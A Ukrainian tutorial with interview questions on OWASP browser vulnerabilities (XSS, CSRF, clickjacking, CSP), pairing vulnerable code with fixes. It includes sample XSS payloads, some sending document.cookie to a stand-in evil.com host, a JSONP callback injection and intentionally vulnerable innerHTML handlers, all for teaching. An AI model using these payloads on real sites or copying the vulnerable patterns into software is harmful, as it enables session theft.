Skip to main content

Вразливості браузерів OWASP

Вразливості браузерів OWASP - це клієнтські помилки безпеки у веб-додатках, через які зловмисник може вкрасти cookies, захопити сесію або примусити користувача виконати дії, яких той ніколи не планував.

Теорія

TL;DR

  • XSS: зловмисник вставляє <script> тег у твій DOM, браузер виконує його з повним доступом до cookies та localStorage
  • CSRF: зловмисник змушує браузер надіслати автентифікований запит до сервера, використовуючи автоматичне прикріплення cookies
  • Clickjacking: прозорий iframe накладається на справжню кнопку, і клік «отримати приз» потрапляє на «підтвердити переказ»
  • Виправлення XSS: textContent замість innerHTML, DOMPurify перед innerHTML, CSP з nonce
  • Виправлення CSRF: SameSite=Strict на session cookie, CSRF-токени для форм з крос-доменним доступом

Швидкий приклад

html
<input id="q" placeholder="Пошук..."> <div id="result"></div> <script> // ВРАЗЛИВО: innerHTML передає рядок HTML-парсеру // Ввід: <img src=x onerror=alert(document.cookie)> // Результат: браузер виконує onerror, cookie вкрадено document.getElementById('q').oninput = (e) => { document.getElementById('result').innerHTML = e.target.value; }; // БЕЗПЕЧНО: textContent повністю обходить парсер // Ввід: <img src=x onerror=alert(document.cookie)> // Результат: буквальний рядок відображається, нічого не виконується document.getElementById('q').oninput = (e) => { document.getElementById('result').textContent = e.target.value; }; </script>

innerHTML передає значення HTML-парсеру Chrome, який будує DOM-вузли та запускає обробники подій. textContent створює звичайний текстовий вузол і не торкається парсера.

Різновиди XSS

Stored XSS зберігає payload в базі даних. Коментар, збережений як <script>fetch('https://evil.com?c='+document.cookie)</script>, спрацює для кожного користувача, який завантажить сторінку. Це найнебезпечніший різновид, бо він масштабується автоматично.

Reflected XSS живе в URL. Сервер відображає параметр запиту напряму в HTML без екранування, і браузер виконує його. Класичний приклад: ?q=<script>alert(1)</script> вставлений у шаблон сторінки без обробки.

DOM-based XSS ніколи не досягає сервера. Payload знаходиться в хеші URL, і клієнтський JavaScript зчитує location.hash та записує в DOM. Оскільки сервер ніколи не бачить #, серверна санітизація повністю пропускає цей тип. Захист потрібно будувати на клієнті.

CSRF: браузер як мимовільний посланець

Браузер прикріплює відповідні cookies до кожного запиту, незалежно від того, звідки той надійшов. CSRF цим і користується. Зловмисник розміщує сторінку, яка відправляє POST на https://yourbank.com/transfer?amount=5000&to=attacker. Жертва заходить туди в авторизованому стані, і браузер надсилає session cookie без вагань.

Атрибут SameSite=Strict на session cookie забороняє браузеру надсилати cookies при крос-доменних запитах. Це блокує атаку ще до того, як сервер її побачить. Для API, яким потрібен крос-доменний доступ, поєднуй SameSite=Lax з CSRF-токеном: секрет вбудований у форму, перевірений на сервері перед обробкою.

Clickjacking: що бачиш і що натискаєш

Зловмисник завантажує твою сторінку в прозорому iframe, розміщеному точно над кнопкою «отримати приз» на своїй сторінці. Користувач думає, що натискає приз. Насправді він активує «підтвердити переказ» на твоїй.

Заголовок X-Frame-Options: DENY каже браузерам відмовити у відображенні сторінки всередині будь-якого фрейму. Сучасна заміна - Content-Security-Policy: frame-ancestors 'none', яка дає той самий результат і гнучкіша в налаштуванні.

Огляд атак

АтакаТочка входуЩо отримує зловмисникВиправлення
Stored XSSБаза данихВиконується при кожному завантаженні для всіх користувачівDOMPurify, textContent, CSP
Reflected XSSПараметр URLВиконується коли жертва клікає посилання зловмисникаСерверне екранування, CSP
DOM-based XSSХеш URLВиконується на клієнті, сервер не бачитьКлієнтська санітизація, textContent
CSRFКрос-доменна форма або fetchВиконує дії від імені авторизованого користувачаSameSite=Strict, CSRF-токени
ClickjackingНакладання iframeЖертва клікає не те, що думаєX-Frame-Options, frame-ancestors
MITMМережевий трафікЧитає або змінює весь трафікHTTPS, HSTS
SQL-ін'єкціяРядки запитівЧитання, запис або видалення з БДПараметризовані запити, ORM

Коли застосовувати який захист

  • Текст користувача рендериться як HTML → DOMPurify.sanitize() перед innerHTML; або переходь на textContent якщо форматування не потрібне
  • Endpoint-и, що змінюють стан (POST, PUT, DELETE) → SameSite=Strict cookie плюс серверний CSRF-токен
  • Сторонні скрипти або реклама → CSP з білим списком доменів і nonce для кожного запиту
  • Будь-яка сторінка, яку можна вставити в iframe → X-Frame-Options: DENY або Content-Security-Policy: frame-ancestors 'none'
  • npm-залежності → npm audit у CI; замінюй пакети з відкритими CVE

Як браузер обробляє впроваджену розмітку

HTML-парсер Chrome читає документ зліва направо і будує DOM-дерево вузол за вузлом. Коли він знаходить неекранований тег <script> або атрибут події на зразок onerror, він ставить JavaScript у чергу event loop. Цей скрипт виконується всередині контексту виконання сторінки з повним доступом до document.cookie, window.localStorage і кожного DOM-елемента. Same-Origin Policy (правило однакового походження) блокує крос-доменне читання, але скрипт, що вже виконується всередині твого origin, не має таких обмежень. Ось і вся модель загрози.

Типові помилки

Санітизація на сервері, вставка сирого HTML на клієнті. Сервер відправляє &lt;script&gt;, клієнт виконує element.innerHTML = data. HTML-парсер декодує &lt; назад у < і виконує тег. Серверне екранування працює лише якщо ти також використовуєш textContent на клієнті або пропускаєш дані через DOMPurify перед зверненням до innerHTML.

javascript
// Помилка: сервер екранує, клієнт розекрановує const safeFromServer = '&lt;script&gt;alert(1)&lt;/script&gt;'; element.innerHTML = safeFromServer; // Браузер перепарсить, скрипт спрацює // Виправлення element.textContent = safeFromServer; // Буквальний текст, нічого не виконується

CSP з unsafe-inline. Додавання script-src 'unsafe-inline' до Content Security Policy перетворює весь заголовок на формальність. Вбудовані блоки <script> все одно виконуються. Замість цього використовуй nonce:

html
<!-- Сервер генерує новий nonce для кожного запиту --> <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-rAnd0m123'"> <!-- Виконуються лише скрипти з цим точним nonce --> <script nonce="rAnd0m123"> // легітимний код </script>

Забуття DOM-based XSS з URL-фрагментів. #<img src=x onerror=alert(1)> повністю обходить сервер, бо хеш ніколи не надсилається в HTTP-запитах. Якщо код зчитує location.hash і записує в DOM, санітизація обов'язкова на клієнті:

javascript
// Вразливо const payload = location.hash.slice(1); document.getElementById('content').innerHTML = payload; // Безпечно import DOMPurify from 'dompurify'; const payload = decodeURIComponent(location.hash.slice(1)); document.getElementById('content').innerHTML = DOMPurify.sanitize(payload);

HttpOnly без Secure. HttpOnly забороняє JavaScript читати cookies. Але через звичайний HTTP MITM-атака все одно може їх перехопити. Повна комбінація:

Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict

Відсутність CSRF-захисту на endpoint-ах, що змінюють стан. GET-запити не повинні змінювати стан. POST, PUT та DELETE потребують або SameSite=Strict cookie, або серверно-перевіреного CSRF-токена. Перевірка лише заголовка Referer не є надійною, бо проксі та privacy-інструменти його видаляють.

Де це зустрічається в реальних проектах

  • React: dangerouslySetInnerHTML лише з DOMPurify.sanitize(text), поширено в Markdown-рендерерах для блог-платформ
  • Express: middleware helmet налаштовує CSP, X-Frame-Options, HSTS та інші заголовки безпеки одним викликом
  • Angular: автоматично екранує прив'язки в шаблонах; DomSanitizer.bypassSecurityTrustHtml() у code review - привід зупинитися
  • Vue: v-html несе ті самі ризики що й dangerouslySetInnerHTML; санітизуй перед передачею значення
  • CI/CD: OWASP ZAP можна додати до pipeline для автоматичного сканування на XSS та ін'єкції при кожному деплої

Питання на співбесіді

Q: Яка різниця між Stored, Reflected та DOM-based XSS?
A: Stored зберігається в базі даних і спрацьовує для кожного відвідувача. Reflected потребує від жертви кліку по спеціально підготовленому URL. DOM-based ніколи не досягає сервера - payload знаходиться в хеші URL, і клієнтський JS записує його в DOM.

Q: Як CSP знижує ризик XSS?
A: CSP задає білий список джерел, з яких браузер може завантажувати скрипти. script-src 'self' блокує все, що не з твого origin, включаючи вбудовані теги та eval. Nonce прив'язує кожен дозволений вбудований скрипт до випадкового значення, згенерованого сервером на кожен запит. Навіть якщо зловмисник вставить <script> тег, без дійсного nonce браузер відмовить у виконанні.

Q: Як захиститись від CSRF без токенів?
A: SameSite=Strict cookies взагалі забороняють браузеру надсилати облікові дані при крос-доменних запитах. Власний заголовок на зразок X-Requested-With: XMLHttpRequest також допомагає, бо прості крос-доменні форми не можуть встановлювати власні заголовки без CORS preflight.

Q: Що захищає від clickjacking якщо CSP не налаштовано?
A: X-Frame-Options: DENY - запасний варіант. Він каже браузерам відмовити у завантаженні сторінки всередині будь-якого iframe. SAMEORIGIN дозволяє фреймінг лише з того ж домену. Директива CSP frame-ancestors - сучасна заміна з більш гнучкими правилами.

Q: Кандидат каже «санітизуй введення для захисту від XSS». Що додає senior-рівень?
A: Контекстно-залежне екранування. Один і той самий рядок потребує різної обробки залежно від місця призначення: тіло HTML, значення атрибута, JavaScript-рядок, параметр URL або CSS-властивість. Payload безпечний в одному контексті може бути небезпечним в іншому. DOMPurify обробляє це коректно; ручний regex - майже ніколи.

Q: Спроектуй систему коментарів з підтримкою Markdown та emoji, захищену від XSS.
A: Парс Markdown на сервері за допомогою бібліотеки на зразок markdown-it з налаштуванням видалення сирих HTML-тегів. Відправляй отриманий HTML клієнту. На клієнті пропускай через DOMPurify перед вставкою в DOM. Роздавай сторінки з CSP на основі nonce без unsafe-inline. Обмежуй частоту публікацій і логуй payload-и, що спрацювали санітизатор, для подальшої перевірки.

Приклади

XSS: вразливий та безпечний пошук

html
<!DOCTYPE html> <html> <body> <input id="search" placeholder="Пошук..."> <div id="result"></div> <script> const result = document.getElementById('result'); const input = document.getElementById('search'); // ВРАЗЛИВО: HTML-парсер будує справжні вузли з рядка // Спробуй: <img src=x onerror=alert(document.cookie)> // Результат: onerror спрацьовує, cookie витікає input.oninput = (e) => { result.innerHTML = e.target.value; }; // БЕЗПЕЧНО: лише текстовий вузол, без парсингу // Спробуй: <img src=x onerror=alert(document.cookie)> // Результат: буквальний рядок відображається, нічого не виконується input.oninput = (e) => { result.textContent = e.target.value; }; </script> </body> </html>

Головна відмінність: innerHTML просить HTML-парсер інтерпретувати рядок. textContent створює текстовий вузол напряму. Один шлях веде до виконання коду, інший - ні.

React: коментарі з rich text в продакшені

jsx
import DOMPurify from 'dompurify'; // npm install dompurify // ВРАЗЛИВО: HTML під контролем користувача рендериться без санітизації function CommentList({ comments }) { return ( <ul> {comments.map(c => ( <li key={c.id} dangerouslySetInnerHTML={{ __html: c.text }} // c.text з БД: '<img src=x onerror=fetch("https://evil.com?c="+document.cookie)>' // Кожен відвідувач передає свій session cookie зловмиснику /> ))} </ul> ); } // БЕЗПЕЧНО: DOMPurify видаляє обробники подій та небезпечні атрибути function SafeCommentList({ comments }) { return ( <ul> {comments.map(c => ( <li key={c.id} dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(c.text) }} // onerror, onclick, javascript: URL видалені перед рендером // Безпечний HTML як <strong> або <em> проходить нормально /> ))} </ul> ); }

Назва dangerouslySetInnerHTML обрана навмисно. React хоче, щоб ти зупинився і подумав. Якщо контент надходить від користувачів або ненадійного API, між даними і prop обов'язково стоїть DOMPurify. В моїй практиці більшість XSS-багів у React-додатках з'являється не при першому написанні, а через кілька місяців, коли хтось додає innerHTML у новому компоненті не перевіривши, чи санітизація вже є десь у ланцюгу.

Просунутий приклад: JSONP endpoint як вектор XSS

javascript
// Express handler - ВРАЗЛИВИЙ // Зловмисник викликає: GET /api/data?callback=alert(document.cookie)// app.get('/api/data', (req, res) => { const callback = req.query.callback; res.setHeader('Content-Type', 'application/javascript'); // Виводить: alert(document.cookie)//({data:'safe'}); // Браузер завантажує це як тег <script> і виконує res.send(`${callback}(${JSON.stringify({ data: 'safe' })});`); }); // БЕЗПЕЧНИЙ: білий список дозволених назв callback const ALLOWED_CALLBACKS = new Set(['onDataLoaded', 'handleResult']); app.get('/api/data', (req, res) => { const callback = req.query.callback; if (!ALLOWED_CALLBACKS.has(callback)) { return res.status(400).json({ error: 'Невалідна назва callback' }); } res.setHeader('Content-Type', 'application/javascript'); res.send(`${callback}(${JSON.stringify({ data: 'safe' })});`); });

JSONP - здебільшого застарілий патерн, замінений CORS, але він досі зустрічається в кодових базах, що не оновлювались з 2015 року. Параметр callback - це прямий шлях до виконання коду, якщо ти відображаєш його без перевірки. Білий список вирішує проблему. Якщо ти контролюєш і клієнт, і сервер, відмовся від JSONP повністю та налаштуй CORS належним чином.

Коротка відповідь

Для співбесіди
Premium

Коротка відповідь допоможе вам впевнено відповідати на цю тему під час співбесіди.

Дочитали статтю?

Вразливості браузерів OWASP: Питання співбесіди з Загальні питання